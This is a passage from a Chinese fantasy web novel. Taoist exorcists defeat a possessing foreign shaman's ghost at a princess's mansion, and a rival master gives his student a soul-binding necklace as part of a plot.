但这只恶灵很是狡猾,不会轻易现身。徐莞便先用坛子和灶台土将其镇压,再让两位徒弟假意捉鬼,让恶灵放松警惕。 同时,给大长公主的字条上写的,便是让她莫要放松警惕,但也不必太过慌乱,将强力护身符戴在身上便可。 此后这段时日,徐莞与慕怀瑾商议后,慕怀瑾便想出了利用大长公主与下人们对话,混淆恶灵视听的法子,没成想它果然上钩了! 第304章 304.四鼎阵 “孽障,你没想到我们一直以来都是在演戏给你看吧。”马白虎气势高昂道: “其实我们那日能找到你、收了你,只不过受我师父安排才假意用另一只鬼魂冒充你而已。” 徐莞朱雀他们几人心里都明白白虎根本找不到那孽障,不过是在虚张声势而已,但都默契地并未戳破。 大长公主点头赞同道:“对,本殿对他们的计划全部知晓,因而命柳嬷嬷,连同府上所有下人,配合本殿演了这样一出戏,就是为了将你引进菀菀的阵法之中。” 大长公主在说此话时,身旁护着她的柳嬷嬷等人,皆一脸坚定忠诚,哪还有方才为难或茫然的模样。 显然如大长公主所说,原来他们方才都是在演戏骗她。 那女鬼望着他们几人一一将真相托出,眼中终于露出了些惶恐畏惧,“不…不可能!你们休想骗本妃!” 徐莞再不给她开口的机会,向恶灵厉声喝道:“今日根本不是四月初五,而是四月初四。孽障,你等着受死吧!” 话毕,向其他三人使了个眼色,随后四人齐齐拉紧红绳,转换位置开始做法。 红绳上挂着的金色铃铛,发出阵阵清脆铃声,伴随着四人低吟的咒语,在夜色中竟渐渐亮起金光,分外华丽璀璨。 女鬼一慌,妄图冲破红绳逃窜。 但她一碰到那些红绳,便如碰到烧红的烙铁一般,滋啦一声,浑身火花四溅。 “啊啊啊……”女鬼发出一阵惨叫,不敢再动。 而后又使出乌兹国巫术,妄图吸收月光的阴气与四周百鬼的阴气,增强自身法力。 可她吸了半晌才察觉到,周围的阴气根本不足以支撑她提升自身法力。 “怎么样?你如今信了吧?快快束手就擒,本观主或许会饶你一命!” 女鬼这才不得不信自己早已落入他们的圈套。 但她相信自己近百年的法力不是那么不堪一击。今日左右也要与他们一较高下,或是逃出去! “岂有此理!竟敢如此戏弄本妃!今日就算我魂飞魄散,也要与你们拼个鱼死网破!” 喊罢,女鬼将体内的阴晦之气传至两掌之间,在胸前汇聚为一团墨绿色的圆球,再将这圆球猛地向白虎的方向推去。 只因她看出了,四人当中唯有这个小子,无任何修为与灵力,最易突破。 这一击来的又快又狠,在徐莞发现并喝出声时,那墨绿色气团,已蓦地击向白虎胸口。 “噗!” 白虎猝不及防,竟被那气团猛地击飞出去,重重落在数米外的石板地上,喷出一口血来。 “白虎!”朱雀朝他焦急大喊一声。 徐莞即刻吼道:“不要动!拉紧绳索继续把阵法摆好!” 朱雀闻言,克制住心内的焦急担忧,微微点头后,与徐莞慕怀瑾变换站位,再次摆好红绳阵法。 这时,倒在地上的白虎撑着身子微微坐起一些,伸手将衣襟拉开,赫然露出里面贴满了符纸与铜钱的背心。 徐莞朱雀:“???” 怪不得前阵画的许多强力护身符不见了,原来都是被这小子薅走了! 大长公主等人:“!!!”小师父准备果然齐全,被那女鬼击中胸口都无甚大碍! “哈哈哈没想到吧,机智如我还好提前做了准备。姐姐师父你们不用担心我,尽快将这孽障铲除!” 如此,朱雀徐莞等人皆放下心来,将注意力再次转回女鬼这边。 四鼎阵少了一角,阵法效力亦被相应削弱。 女鬼露出一抹冷笑,视线从仅剩的三人面上扫过,最终落在了慕怀瑾身上。 四周夜色昏暗,但女鬼那双血红的双眼,却散发着骇人的幽光,在夜色中清晰可见。 因而慕怀瑾即刻便注意到了女鬼的眼神,意识到她接下来要对付的,就是自己。 慕怀瑾却丝毫不慌,依旧稳稳握住手中线卷,从容翻身躲过。 那气团飞至后方花园中,撞在树干之上,登时将一人环抱粗的树干拦腰轰断。 轰隆的炸响声将庭院内的大长公主及下人们吓得连连惊呼。 徐莞见时候差不多了,向朱雀与慕怀瑾道:“一起念咒施法,将这孽障解决!” “好!”朱雀与慕怀瑾齐声高喝。 之后三人口中一同念动咒语,四鼎阵中的金铃再次亮起金光,齐齐摇晃轻响。 四周渐渐刮起了风,三人念动咒语的语速渐急,风力也随之增大。 吹得庭院中众人不由得眯起双眼,抬手遮住额头,或按住发髻和衣角,皆是一副狼狈模样。 而徐莞三人在大风中仍旧岿然不动,目光坚定如炬,衣袂与裙角在风中猎猎作响,黑亮发丝随风肆意飞舞,在金光的映照下,闪耀出恍若流金碎银的光。 女鬼被困在阵中依然负隅顽抗,拼命旋转着身体施咒破阵。 但徐莞不给她任何机会,将线卷转移到一只手中,右手从容自若地咬破手指,在自己额头画出一道符,口中默念咒语。 再抬手举过头顶,在虚空中一抓,再轻轻往下一拉,只见一道巨型符文恍然出现在夜空之中。 这道符以黑夜为底,符文的一笔一划皆散发出耀眼金光,将晦暗的夜空映照得恍如白昼。 大长公主等人抬首望见这一幕,皆齐声惊诧高呼。 “天呐!我不会眼花了吧?那么大一道符从天上飞下来了?” “没错!确实是一道符被慕夫人从天上拉下来了!” “这符文一看便知法力巨大,慕夫人真是神女降世啊。” 在一片惊呼声中,那巨大的金色符文向着女鬼头顶轰然压去。 仿若一座万吨高山重重砸在女鬼身上,将其压得惨叫一声,吐出一口墨绿色浑汁,再也动弹不得。 “啊啊啊……” 众人见此连声叫好,“好样的!女鬼被压住了!” “菩萨保佑啊!这女鬼终于被解决了。” 金色符文牢牢将女主压制在地,徐莞见此向朱雀慕怀瑾使了眼色,三人一同将四鼎阵的红绳撤走,行至女鬼附近,居高临下俯视着她。 大长公主及下人们悬起的心,也终于放了下来。 柳嬷嬷扶着大长公主来到近前,对女鬼厉声问:“你这孽障到底是何来头?竟敢妄图谋害本殿!” 第305章 305.乌兹国的巫女 “你这孽障到底是何来头?竟敢妄图谋害本殿!” 女鬼被符文压制,只剩脑袋与脖颈能动。 但见她强撑着微微抬起头,露出一抹讥讽又狰狞的笑。 面上纵横交错的血痕,与嘴角的墨绿色浑汁混在一起,显得无比恶心渗人。 “呵呵,我乃乌兹国第四十八代国王默罕拉汗的王妃。 你这老公主早已人老珠黄,若不是没有别的合适人选,本妃才看不上你的肉身。” 大长公主听后又气又恼,“你这孽障死到临头竟还如此嚣张。菀丫头,速速将这孽障灭掉,莫要让她再为祸人间!” 谁料,女鬼突然大喊一声,“慢着!老公主,你难道不想知道,是谁将我带到你府上,让我有机会夺舍你吗?” “你难道不是附在那红翡翠耳环上,才入了我的公主府?” 大长公主将将喊出此话,紧接着蓦地意识到了什么,猛然顿住,面露震惊怀疑之色,“你的意思是……是青霖将你带进来的?” 望见大长公主那惊疑不定的表情,女鬼笑得十分畅快: “如你所料,正是你那伉俪情深的驸马,将本妃带进你府中,想要你的命!” 女鬼的话音未落,大长公主便怒吼出声,“不可能!青霖不可能做出此等恶毒之事。你休要胡言乱语污蔑他!” “事实便摆在眼前,信不信由你。” 话毕,女鬼望着大长公主那崩溃绝望、仿若整个世界都颠覆的表情,心中划过一抹狠厉与痛快。 呵呵,既然本妃活不成,其他人也休想活得快活。 老公主,我要让你余生都活在猜忌怀疑,与被至亲至爱之人背叛的痛苦之下! 大长公主被这突如其来的“真相”,一时间震得心肺俱痛、脑中轰鸣。 一阵眩晕袭来,她身子一晃,险些就要栽倒在地。 “殿下!”柳嬷嬷等仆从急忙伸手搀扶,这才将她稳住。 大长公主一手扶着柳嬷嬷的手臂,一手扶着额头,片刻间脸色竟苍白如纸。 就在此时,一道低沉冷冽的男声从旁传来,“事实确实摆在眼前,但不是你说的这些。事实是,你根本就不是乌兹国的王妃。” 女鬼:“!!!” 女鬼殷红的双眼猛然向慕怀瑾瞪了过去。 但见这位男子欣然立于一众女子之外,身姿傲然挺拔如青松,面容英朗冷峻若寒霜。 一双幽暗如深潭的眸子,定定望着女鬼,好似能将她彻底看透。 “你说什么!我就是乌兹国的王妃!你是何人,竟敢质疑我王妃的身份!” 慕怀瑾懒得与她多言,转过身向大长公主解释道: “公主殿下,就那对红翡翠耳环,慕某近来去信询问了乌兹国那边的一些商友及王公贵族。 他们有人识得那对耳环是出自乌兹国第四十八代王妃之墓。并且给在下讲述了一些有关那位王妃的异事传说。 相传,那位王妃原本性情温和,端庄大度,实乃乌兹国女子之典范。 可自她去世前十年起,却突然性情大变,性子变得乖张跋扈、阴厉狠毒,甚至妄图干预国事。 当时的国王看出王妃不对劲,便暗中请国师来看王妃是否中了什么巫术。 国师一看,还真看出王妃已被夺了舍。如今在王妃肉身中的,已不是王妃本人的魂魄,而是她的侍女耶拉的魂魄。 原来这侍女耶拉懂得巫术,自从来到王妃身边,便每日对王妃施展巫术,历时数年终将王妃夺舍。 后来国师与耶拉斗法,终将耶拉打败,但王妃却是再也回不来了。 国王爱念王妃,仍旧将王妃的遗体按国礼下葬。 但谁都不知,那耶拉是否被彻底消灭。随着王妃的下葬,此异事传说也封印在了乌兹国的野史中。” 故事讲到此处,众人也大致猜到了这女鬼的真实身份。 大长公主恍然大悟,“你就是那个会巫术的侍女耶拉?!” 地上的女鬼似被踩中了死穴,突然激动起来。 “休要胡言乱语!我就是王妃!那贱人不过是出身好而已,哪一点配得上默罕拉汗?” 见女鬼歇斯底里的模样,众人更加确定她就是耶拉。 “那国师也不是个东西!他以为如此轻易便能将我消灭?呵呵,本妃的法力高着呢! 只是略施小计便附在了那些陪葬品上。待有盗墓贼前来,我便借机被带了出去。再一路辗转,最终被使臣送到了盛国大长公主府上。” 徐莞听罢,向大长公主道:“殿下,贺大人和那乌兹国使臣,应也不知红翡翠耳环上附着巫女的残魂。一切皆是这巫女暗中作祟,与贺大人无关。您也莫要再伤心了。” 大长公主点点头,方才痛彻心扉的感觉,渐渐和缓,面色也好了许多。 “嗯。我相信青霖不会那样对我。这巫女属实恶毒,死到临头还想离间我与青霖的感情。菀丫头,快快将她彻底消灭,莫要让她再为祸人间。” “好。”徐莞应道,转身垂眸望向地上的耶拉,“巫女,你罪孽深重,是时候该付出代价了。” 没成想,地上的耶拉却一改方才的狂躁,满是浑汁的嘴角露出一抹阴险狠厉的笑。 “你动手啊。只要你一动手,这院中的所有人,都要为本妃陪葬!” 还未等众人反应过来,耶拉浑身蓦地一抖,一股近乎墨色、似烟雾又似流水之物,瞬时从她身上扩散开来,顷刻间将周围一圈人尽数击倒在地。 “啊啊啊!” 庭院内所有人皆倒在地上,捏住喉咙痛苦惨叫。 唯有徐莞方才眼疾手快,迅速为自己施法造出结界,屏蔽了那波攻击。 而后素手一挥向耶拉厉声道:“你做了什么!” 耶拉一派有恃无恐之态,“呵呵,本妃已将自己的精魂散入了这群人体内。你只要灭了我,他们也都会跟着一起死!” 徐莞忙望向倒地的众人,见朱雀白虎与大长公主等人,皆面泛青绿,捂着喉咙连连咳嗽,显然已着了耶拉的道。 唯有慕怀瑾倒地后,又强撑着站了起来。 第306章 306.紫气爆发 唯有慕怀瑾倒地后,又强撑着站了起来。 “怀瑾你怎么样?还好吗?”徐莞即刻前去搀扶。 慕怀瑾站起身后揉了揉喉咙,面色比其他人稍好一些,但从他那紧蹙的眉宇中,还是能窥到此时的他十分不适。 “我…感觉喉头不适,且身子很热,胸中有什么似乎要溢出来…” 被压在地上的耶拉再次狂笑开口,“哈哈哈…是我的精魂已与你们的肉身融合。 若是你动手灭了我,他们都会为我陪葬。若是你不动手,再过片刻,他们便会成为我的傀儡,彻底听凭我的控制。 这就是我乞胡部落最后的杀手锏!” 倒在地上的人听闻此话,皆惶恐大喊大哭起来。 “不要啊!慕夫人救救我们!我们不想死!” 朱雀与白虎一面坐起身一面道:“师父您动手吧!那巫女绝对是在危言耸听。您莫要听信她!” 但立即有公主府的下人出声打断,“万…万一她说的是真的呢?慕夫人一动手,我们也会跟着死!慕夫人不要杀我们!求您想想办法!” 大长公主也在柳嬷嬷等人的搀扶下坐了起来,捂着心口虚弱道:“菀丫头…你快想想办法…休要让那巫女得逞……” 徐莞忙上前帮忙,心中却是前所未有的焦急纠结。 如今身在此地数十人的性命,皆系在她一人身上。 若是一着不慎,他们都有可能死在这里! 耶拉却又开始疯狂激将,“怎么?不敢动手了?你再不动手,他们可都要变成行尸走肉喽…” 耶拉说着,几名原本还坐地哭喊着的小丫鬟忽然安静了下来,沉下脸抬眼目光阴沉地盯住徐莞。 之后一一从地上站了起来,径直向徐莞僵硬地走了过来。 一看她们那直勾勾的眼神,徐莞便知她们已被耶拉控制,即刻取出几道符纸飞向她们的额头,暂且将她们定住。 但其余一些心智不坚定的下人,也都先后变成了如那几名丫鬟般的行尸走肉,一齐向徐莞涌了过来。 “哈哈哈…你们都给我上,把他们撕碎!” 耶拉尖利刺耳的笑声,在庭院中回荡,更衬得庭院内这一幕无比诡异渗人。 徐莞一面施展定身咒,一面担心伤到他们而向后退去。 可当她望见大长公主与朱雀白虎,也变得面无表情、眼神阴鸷时,不由得心头一惊,取出一张黄纸,咬破手指在其上迅速画下一道符。 如今形势急迫,只能试试这道符对乌兹国巫术是否有用了。 就在徐莞画符之时,谁都未曾留意到一旁的慕怀瑾行为与神色更是异常。 他虽未像其他人那般被迷了心智,但却一直捂着胸口,低头含胸,望不清表情,仅能从他颤抖的双肩看出,慕怀瑾此时在强忍着什么。 其实从方才站起身开始,慕怀瑾便察觉到体内似乎起了一股暖流,与那强行闯进他体内的阴晦之气,形成对冲之势。 两股力量碰撞在一起,相互攻击缠斗,将慕怀瑾搅得气血上涌,痛苦难当。 而当这两股力量的交锋达到顶峰之时,原本低头含胸蜷缩着的慕怀瑾,突然猛地仰首张开双臂,向着遥遥夜空发出一道长长怒吼。 “啊——” 不远处正要施法的徐莞,被慕怀瑾这声怒吼打断,蓦地向他望去。 但见一股紫银色、流转着瑞气的光芒,带着无法阻挡的力量,自慕怀瑾体内刹那间释放而出。 其冲击力之大,瞬间将庭院中一众人士冲翻在地,且以势不可挡之势,继续向外蔓延,直至波及到京城的每一个角落。 徐莞也被慕怀瑾这片紫光冲到,但她念咒强自定下身形,并未被击倒在地。 缓过劲儿后,徐莞再次望向慕怀瑾,见那股紫光释放尽后,慕怀瑾如泄了力一般,虚弱地向一旁倒去。 “怀瑾!”徐莞即刻赶到旁侧扶住他,“你怎么样?” 慕怀瑾捂着胸口深吸几口气后,再抬起头时,眉宇间已是一派清明,面上再无痛苦之色。 “我没事。”慕怀瑾说着,面上露出一丝不解,“我方才是怎么了?如今身子竟松快了许多,之前那种阴晦之气入体的不适也消失了。” 他的话音落下,方才被紫光冲翻在地的众人也缓了过来,纷纷揉着胸口脖颈与四肢,从地上爬了起来。 “刚才是咋回事?我咋坐在地上?” “咦怪了,我的喉咙不痛了,身上也不难受了,一下子好了!” “嘿还真是!我这身子不仅不难受了,而且感觉还更有劲儿了!” “是啊哈哈哈,一下子就神清气爽了!” 徐莞望着眼前众人的变化,顷刻间意识到了什么,“方才那股紫光,就是你身上的紫气啊。” 慕怀瑾并未听清,“菀菀你说什么?” 徐莞抬首望着他言笑晏晏道:“方才有一股紫光从你体内冲泄而出,将大家击翻在地。 大家受紫光照射后,如今都恢复了神志,体内的阴晦之气被击散,身子也都大好。 因为你释放出的紫光,正是你身上萦绕的紫气。” “我的紫气?”慕怀瑾有些难以置信。 “对。紫气乃人间至祥至瑞之气。紫气入体,可保脏腑康健,气血充盈,头脑聪慧,祛病除疾。 定是那阴晦之气搅动了你体内紫气,紫气才会突然爆发,而将阴晦之气击退。 所以你和此地众人,才会恢复神志,感觉精神都好了不少。” “原来如此。” 慕怀瑾明白后自己都觉得不可思议,自己体内的紫气竟如此强大。 方才差点被夺了心智的朱雀白虎,活动着脖颈和关节从地上站了起来,兴致勃勃向慕徐二人道: “我就说是什么玩意儿如此牛,原来是侯爷身上的紫气啊!” 白虎大大咧咧地说,却被徐莞一个眼神瞪了回去。 紫气一般只有天子与皇族才有。慕怀瑾作为一界侯爵,却身负紫气,难免会引人猜疑。 所以此事还是少让人知道的好。 白虎反应过来后立马闭嘴,与朱雀一同讪讪来到徐莞身后站好。 随后,众人再向地上的耶拉望去,但见她不可置信地望着眼前一幕,“怎么会这样…他到底使了什么巫术,竟能破了本妃咒法?不可能!” 第307章 307.绿松石项链 “怎么会这样…他到底使了什么巫术,竟能破了本妃咒法?不可能!” 白虎恢复过来后,双手叉腰,向着耶拉趾高气昂道: “没见过吧?这是我们大盛国独一无二的咒法。对付你那种不入流的巫术,绰绰有余!” “行了,少与她废话。”朱雀向徐莞道:“师父,您动手吧。让这巫女尽早灰飞烟灭!” 徐莞点点头,自小荷包中取出一把削铁如泥的匕首,手腕微转,刀刃在月光下闪过一抹冷冽银光。 “耶拉,你可承认你犯下的罪孽?” 耶拉奋力抬起头,嘴角依旧傲然死硬,眼中射出凶狠的光芒。 “凡人本是羔羊,而我是豺狼。羔羊本就是为成为被豺之餐而存在。本妃夺舍那些羔羊,何罪之有?” 徐莞等人虽心知耶拉狠毒,但未料到她竟如此冷酷,甚至连一丝人之情感都没有。 此种恶魔还不将她立即铲除,难道还留着过年吗? “既然你死到临头还不知罪,我也不必再给你机会。受死吧!” 徐莞喊罢,用刀尖划破手指,在刀刃上画下一道血符,口中念道: “大道无极,妖魔枉利。急急如律令,破!” 念罢,她举起手臂狠狠向耶拉心口扎了下去,余光中仅瞥见耶拉惊恐的表情。 “不要!!!”耶拉大喊一声,但一切已为时已晚。 破魔之刃已插入她的心脏,耶拉整张脸都狰狞地皱在一起,大张着嘴,缓缓低下头向胸口望去,似难以置信,又似痛苦至极。 而徐莞的目光,从始至终未从她的面上移开。 渐渐地,耶拉面上的皮肤开始一点点剥落,化成一片片指甲大小的碎屑,随风飘去。 她的身子也在庭院内众人眼前,逐渐散化成点点粉末。 一阵夜风吹来,簌地一声,已化为碎屑的耶拉,顷刻间被吹散,只在地上留下一摊墨绿色的粉末。 少倾,人群中不知是谁首先反应过来,喃喃出声,“女鬼死了…女鬼死了!” 这一声喊,立即唤醒了院内众人,大家顷刻间欢心雀跃。 “阿弥陀佛,菩萨保佑。那孽障终于死了。” “多亏了慕侯爷与夫人呐!若不是他们,咱们今夜都要将命交代在这儿了吧。” “是啊。慕夫人的道术自不必说,没想到侯爷居然也会道术,简直太强了!” 下人们你一言我一语,对慕徐二人及朱雀白虎赞不绝口。 大长公主也在柳嬷嬷的搀扶下,来到徐莞身前,眼含热泪对她道: “菀丫头,你们救了我府上二十多条人命。本殿这条命,也是你们给的。 今后若有任何烦事,尽管来找我。本殿拼死都会帮你们。” 大长公主说着,竟似要向他们行礼。徐莞连忙扶住她: “殿下言重了。斩妖除魔,守正辟邪本就是道门职责所在。菀菀也感恩殿下的信任和厚爱,今晚的谋划才能如此顺利。” 大长公主点点头,望向三尺之外的慕怀瑾,感激道: “也要感谢永嘉侯。你方才使出的是什么法术?竟能将我们所有人身上的阴晦之气尽数逼出,真是让本殿大开眼界啊。” 慕怀瑾与徐莞相视一眼,都明白不能将紫气之事说出去,于是轻描淡写地一带而过。 “慕某只跟随菀菀学了皮毛。不过听她说我甚有道门慧根,且自身灵力强大。方才或许是我体内的灵力起了作用。” “你体内的灵力?”大长公主重复一遍,眼中流露出些许若有所思,“原来如此。” 好在她没有继续追问,而是再次向他们道谢,便将他们亲自送出了府去。 望着永嘉侯府的马车消失在夜色中,大长公主又回想起方才慕怀瑾体内释放出紫光的一幕。 她心中隐约升起个模糊的猜测,但又摇摇头立刻否了它,随后便在下人们的陪伴下,返回府中。 === 而就在方才慕怀瑾体内的紫气,喷薄而出蔓延至整个京城时,身处卫府中的卫颐等人,也察觉到了这股强大的力量。 卫府的修炼阁内,卫颐身穿纤薄松散的白袍,披散着长发,盘腿坐于一圈莲花灯盏中央,正在闭目修炼。 徒儿夏紫感应到紫气后,即刻前来向卫颐禀告。 “师父,方才徒儿监测到京城东南面有大量紫气溢出,源头似乎是在大长公主府。可否需要徒儿前去调查一番?” 灯盏中央的卫颐连眼眸都未睁,依旧轻阖双眼道:“不用,我知道是谁发出的。整个盛国只有他一人,有如此强大的紫气。” 夏紫虽不知他说的是谁,但卫颐既然如此清楚,夏紫也不便再继续说下去。 “是,师父。那夏紫退下了。” “等等。”卫颐开口叫住她,“给黑子传话,让他定时回来向我汇报慕怀瑾与徐莞的消息,还有定北王近期的动向。近来他不知怎么了,竟许久未向我来报了。” “是师父。徒儿定将话带到。” “好了,你下去吧。” 屏退了夏紫后,卫颐一人留在修炼阁内继续念了一阵咒语,才将方才的未完成的仪式做完。 而后,他拿起正前方红绸上放着的一条精美的绿松石项链,托在掌心细细端详起来。 这件项链似是有了些年岁,其上的一颗颗绿松石似乎已被人反复磨砂,表面呈现出一层温润的油脂感,在昏黄的烛光下,流转着莹润如玉的柔光。 卫颐将其托在掌心,螓首微垂,目光温柔似水。 他用指腹轻轻抚摸着下方最大的那颗椭圆形绿松石,仿若抚摸着爱人的脸庞。 良久,卫颐低低地说:“阿茵,我为你找了一具绝佳的肉身,明日便带你去见她。若是顺利的话,不出一年,你便可借她的肉身重生。” 卫颐说着,那条绿松石项链在他的抚摸下,渐渐亮起一抹绿光,接着如有呼吸一般在他掌心忽明忽暗,仿若在回应他。 卫颐纤薄红润的嘴角边,露出一抹笑意,缓缓收紧手指,将其放在自己心口处,眼中是难掩的激动,与点点喜悦。 阿茵,再等等。待我吸取出慕怀瑾体内的紫气后,便可助你重生。 第308章 308.摄魂项链 次日一早,一队来自大长公主府的马车,便浩浩荡荡来到了永嘉侯府门外。 原来是大长公主带着送给永嘉侯与夫人的谢礼,亲自上门拜访。 车队拉着无数箱礼品,延绵数百米,将永嘉侯府门外的那条街,堵得水泄不通。 永嘉侯府众人齐齐出府迎接,与大长公主亲切攀谈。 府外街道上看热闹的人群才知,原来是永嘉侯夫人帮大长公主府驱了邪,救了她一命。 永嘉侯夫人道术了得之名,再次不胫而走。 随后,永嘉侯府盛情款待了大长公主一行人。 经此一事,大长公主已将徐莞当作了救命恩人,对她的感激和重视非比寻常。 又向慕怀瑾表示,今后只要是永嘉侯府的事,便是她的事。 送走了大长公主一行人后,慕怀瑾和徐莞命人将其送来的物品盘点一番。 发现她不仅送了徐莞五千两白银作为香火钱,还有十几箱绫罗绸缎、珠宝首饰、古董字画,甚至还有庄子、宅院和地契。 所有物品加起来,价值逾万两。 白虎望着两院子都放不下的礼品,震惊咋舌。 “虽然早就见识过大长公主殿下出手阔绰,但没成想竟会如此阔绰,就差把整个大长公主府搬过来了。” “可不是嘛。”薛敏芝眼中满含笑意,“看方才大长公主拉着菀菀的手,亲昵攀谈的样子,不知道的还以为她将你当做自己亲闺女了呢。” “所以说还得是我大嫂啊。”慕怀灵凑到徐莞身边,俏皮地夸赞道:“只要我大嫂出马,就算是对付异域的鬼怪巫蛊都不在话下!” 徐莞浅笑着自谦道:“此次怀瑾还有朱雀白虎也出了不少力。若是没有他们,事情也不会如此顺利。” 徐莞说着,侧头望向身侧的慕怀瑾。那目光中的旖旎与爱恋,瞬间令慕怀瑾的心温暖柔软下来。 首座上的黎老夫人亦望着他们慈爱地笑道:“怀瑾,你两三岁时紫霄观大师前来为你医治怪疾,就说你颇有道门慧根。如今看来,竟是真的。” 慕怀瑾颔首淡淡道:“若不是菀菀,我也不知自己竟会有如此能耐。” 话毕亦望向徐莞。二人视线交缠间溢出的缠绵与甜蜜,令在场所有人皆掩唇偷笑。 言罢,慕怀清不失时机地提起一事来。 “大哥,再过半月就是大嫂的生辰了吧?你可准备好了礼物?” “基本上准备好了。”慕怀瑾望向徐莞道:“菀菀,你生辰当日,我绝对送你一份别开生面的礼物。” 徐莞心中其实已猜到了几分,但为了不拂了他们精心准备的心意,她依旧装作毫不知情,满怀期待道: “多谢怀瑾。但在我生辰之前,还有一位朋友还等着我们将他接回来。” “是谁?” “汪进士。” 慕怀瑾听后即刻了然,“我陪你一同去卫府。” === 午后,钦天监监正卫府的练功院内。 刘云蕊正手持一把金刚伞,在卫颐的指点下,认真练功。 金刚伞通体由铜片拼成,伞缘垂挂着数根由红绳相连的铜钱串,内里则以黑狗血写满了符文,伞柄中还暗藏一把以业火打制的匕首。 收起时如长刀利剑,展开后可作盾牌防御,亦可将内里的符文对准邪祟鬼怪,还可用业火匕首偷袭,实乃一物多用的独门法器。 卫颐将金刚伞送给刘云蕊时,还引得其他几位徒弟嫉妒了一番,更令刘云蕊欢欣得意不已。 此时,刘云蕊正手持金刚伞动作利落地舞着,一招一式娇俏又飒爽,颇有已摸到些门路的架势。 一套招式舞毕,刘云蕊以一个后空翻凌空接伞,又稳稳落地的潇洒姿势结束,旁侧立即传来卫颐的掌声。 “啪,啪,啪……” 刘云蕊转过头去灿然一笑,向卫颐跑了过去,“师父!师父我刚才舞的怎么样?” 刘云蕊奔到卫颐面前,兴致盎然地向他撒娇。 卫颐抬手抚了抚她的发顶,形状优美的唇角,牵起一抹宠溺的弧度。 “舞的很妙。云蕊,你很有悟性,进步飞快。为师为你高兴。” 刘云蕊即刻嘴甜地回夸道:“是师父教导有方,我才能进步这么快。所以都是师父您的功劳。” 卫颐笑了笑,随即引开话题,“为了奖励你近来的进步,为师送你一份礼物。” 说着,卫颐从袖中取出一装饰华美的长条形锦盒,递给了她。 刘云蕊心中一喜,师父居然要送她礼物! 且从锦盒的样子猜测,里面应是条项链或是手链吧。 “师父,里面是什么?”刘云蕊满怀期待地接过。 “你打开看看便知。” 刘云蕊怀着好奇又激动的心情,慢慢打开了锦盒,映入她眼帘的,竟是一条成色上好的绿松石项链。 “哇,好美的项链。” 她不由得发出一声感叹,心跳逐渐加快,如小鹿乱跳般忐忑不安。 今儿个是什么日子,师父为何突然会送她如此贵重的礼物?难道是…… “师父您为何要送我这礼物?这礼物太贵重了,云蕊不敢收。” 刘云蕊假意推辞,试探着卫颐的态度。 谁料,卫颐并未回答,而是伸手从锦盒中取出那条项链,向她命令道:“转过去。” “师父……” “为师让你转过身去。连师父的话都不听了吗?” 刘云蕊见此只好转身背对着卫颐,下一瞬,那条绿松石项链便从身后被放在了她的胸前。 刘云蕊垂眸望着胸前这串项链,不由得屏住呼吸,感受着卫颐的手指从她后颈的肌肤上轻轻划过,一瞬间她竟微微起了鸡皮疙瘩。 “好了。”卫颐帮她戴好项链,将她转过来面对自己,又帮她调整了一下项链的位置,随后目光在她身上审视一番,才满意道:“嗯,很好看。今后你就每日都戴着吧。” 刘云蕊仍旧低着头,眼睫略略慌乱地扑搧几下,因为她怕自己一抬头,卫颐就会看到她红似火烧的脸。 稍后,她暗暗做了几个深呼吸,按耐住狂跳的心脏,才露出一抹羞赧又甜蜜的笑,“好,谢谢师父!” 第309章 309.黑气涌动 见刘云蕊收下,卫颐暗暗松了口气,补充道:“这串项链是为师早年亲自去祥云山采来的灵石,再以阵法注入灵力。 你将其戴在身上,可增强自身灵力,还可激发出你潜在的特质。” “如此神奇?”刘云蕊惊喜地睁大眼睛,抬手摸了摸那串项链。 只见项链竟亮起一抹幽幽绿光,如有呼吸般一明一暗。 “哇真的哎!它能感觉到我在摸它?” “对,它本就是灵石炼成,本身就具灵性。云蕊,你定要将其妥善保管,千万莫要弄丢。” “放心吧师父。我自己丢了都不会把它丢了的!” 刘云蕊心花怒放地望着胸前这条绿松石项链,心中一个声音微弱却不可忽视地响起: 师父送她如此珍稀的礼物,一定是非常看重她吧。难不成师父对她也有了超越师徒之情? 思及此,刘云蕊不禁再次望向卫颐。 对上他那深邃又魅惑的眼眸的一瞬,刘云蕊周身仿佛过电一般,涌起一股酥麻。 她连忙低下头去,生怕卫颐发现她乱了春水的眸子。 但卫颐的注意力却不在刘云蕊身上。他的目光虽望着她,却又穿过了她望向不知名的远方。 就在此时,夏紫忽然来报,“师父,永嘉侯慕怀瑾及其夫人徐莞,在府外求见。” 一听到这两个名字,刘云蕊如遭雷劈般转过头,“徐莞和慕怀瑾!他们果然来了。” 卫颐沉下表情,不慌不忙道:“告诉他们,为师正在闭关修炼,不知何时才能出关,请他们回吧。” “是,师父。”夏紫领命离开。 刘云蕊眼中填满了恨意,傲然道:“师父做的好!就是不能一下子就如他们的意。将他们晾一阵,给他们个下马威,挫挫他们的锐气。” 卫颐微微眯起形状优美的凤眼,胸有成竹道:“你放心,为师已想好该如何为你出气了。” 而此时已在卫府门外的慕徐二人,听闻夏紫的话后,亦未曾流露出恼怒急躁之态。 “无妨。今日本候与夫人并无旁事,便入府等卫大人出关。” 慕怀瑾说罢,无视夏紫隐晦的逐客令,携着徐莞便昂首走进卫府。 夏紫不好直接阻拦,只好硬着头皮跟了进去。 慕徐二人也并不为难她,仅请夏紫为他们上一壶茶,便悠然自若地在正厅坐定,等卫颐出关。 夏紫将此事再次报给卫颐,卫颐不置可否,只嘱咐莫要去管他们,看他们能坐多久。 可出乎卫颐的预料,徐莞问下人要了一些黄纸朱砂和毛笔,从午后一直画到夕阳西落,总共画了一百多道符,还没有要离开的意思。 末了,眼看到了用晚膳的时候,慕怀瑾又似在自己府上一般,喊来下人为他们上晚膳。 下人们不敢违抗,向夏紫请示后,便为慕徐二人上了晚膳。 夏紫又去向卫颐禀报。这次卫颐终于微微蹙起了眉头。 “他们两个脸皮居然这么厚。自己侯府不回,在咱们府上蹭吃蹭喝蹭黄纸朱砂。要不要脸啊!” 一旁的刘云蕊听到,忍不住咬牙骂道。 这回还真让刘云蕊说对了。徐莞就是想蹭卫府的黄纸朱砂。 有便宜好占为何不占?这不要钱的黄纸朱砂,用起来就是顺手。 卫颐揉了揉眉心,他本以为慕怀瑾贵为侯爵,定心气颇高,受不了此等怠慢与无视,等上一个时辰定会负气而走。 没成想,他们夫妻二人竟如此沉得住气,或者说难听些,就像刘云蕊所说,他们竟如此不顾及颜面,赖在了他府上。 若是再这样下去,今晚他们怕是要宿在他府上了。 左右已经让他们等了三个时辰,足够挫了他们的锐气,待会儿再给他们个下马威,不怕羞辱不了他们。 思及此,卫颐吩咐夏紫,将他们请进沉心苑,稍后自己便过去。 